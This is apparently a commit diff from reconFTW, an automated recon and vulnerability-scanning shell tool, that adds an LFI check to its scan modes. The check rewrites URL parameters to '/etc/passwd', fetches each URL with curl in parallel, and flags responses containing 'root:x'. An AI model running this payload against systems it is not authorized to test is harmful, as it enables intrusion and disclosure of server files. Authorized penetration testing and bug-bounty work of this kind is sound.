reconFTW is a tool designed to perform automated recon on a target domain by running the best set of tools to perform scanning and finding out vulnerabilities
Shell bug-bountybugbountybugbounty-tooldnshackingnucleiosintpenetration-testingpentestpentest-toolpentestingreconreconnaissancescannersecuritysecurity-toolssubdomainsubdomain-enumerationvulnerabilities
LFI function added
six2dezf82db7c35e6a
diff --git a/reconftw.sh b/reconftw.shindex 4747232..45acc86 100755--- a/reconftw.sh+++ b/reconftw.sh@@ -919,6 +919,23 @@ crlf_checks(){fi}+lfi(){+ if [ ! -f "$called_fn_dir/.${FUNCNAME[0]}" ]+ then+ printf "${bgreen}#######################################################################\n"+ printf "${bblue} LFI checks ${reset}\n"+ start=`date +%s`+ cat ${domain}_lfi.txt | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"' | anew -q ${domain}_lfi_confirmed.txt && touch $called_fn_dir/.${FUNCNAME[0]}+ end=`date +%s`+ getElapsedTime $start $end+ printf "${bblue}\n LFI Finished in ${runtime}${reset}\n"+ printf "${bblue} Results are saved in ${domain}_lfi_confirmed.txt ${reset}\n"+ printf "${bgreen}#######################################################################\n"+ else+ printf "${yellow} ${FUNCNAME[0]} is already processed, to force executing ${FUNCNAME[0]} delete $called_fn_dir/.${FUNCNAME[0]} ${reset}\n\n"+ fi+}+deleteOutScoped(){if [ -z "$1" ]then@@ -995,6 +1012,7 @@ all(){open_redirectssrf_checkscrlf_checks+ lfiif [ "$DEEP" = true ] ; thenjschecksfi@@ -1022,6 +1040,7 @@ all(){open_redirectssrf_checkscrlf_checks+ lfiif [ "$DEEP" = true ] ; thenjschecksfi@@ -1148,6 +1167,7 @@ while getopts ":hd:-:l:x:vaisxwgto:" opt; doopen_redirectssrf_checkscrlf_checks+ lfiif [ "$DEEP" = true ] ; thenjschecksfi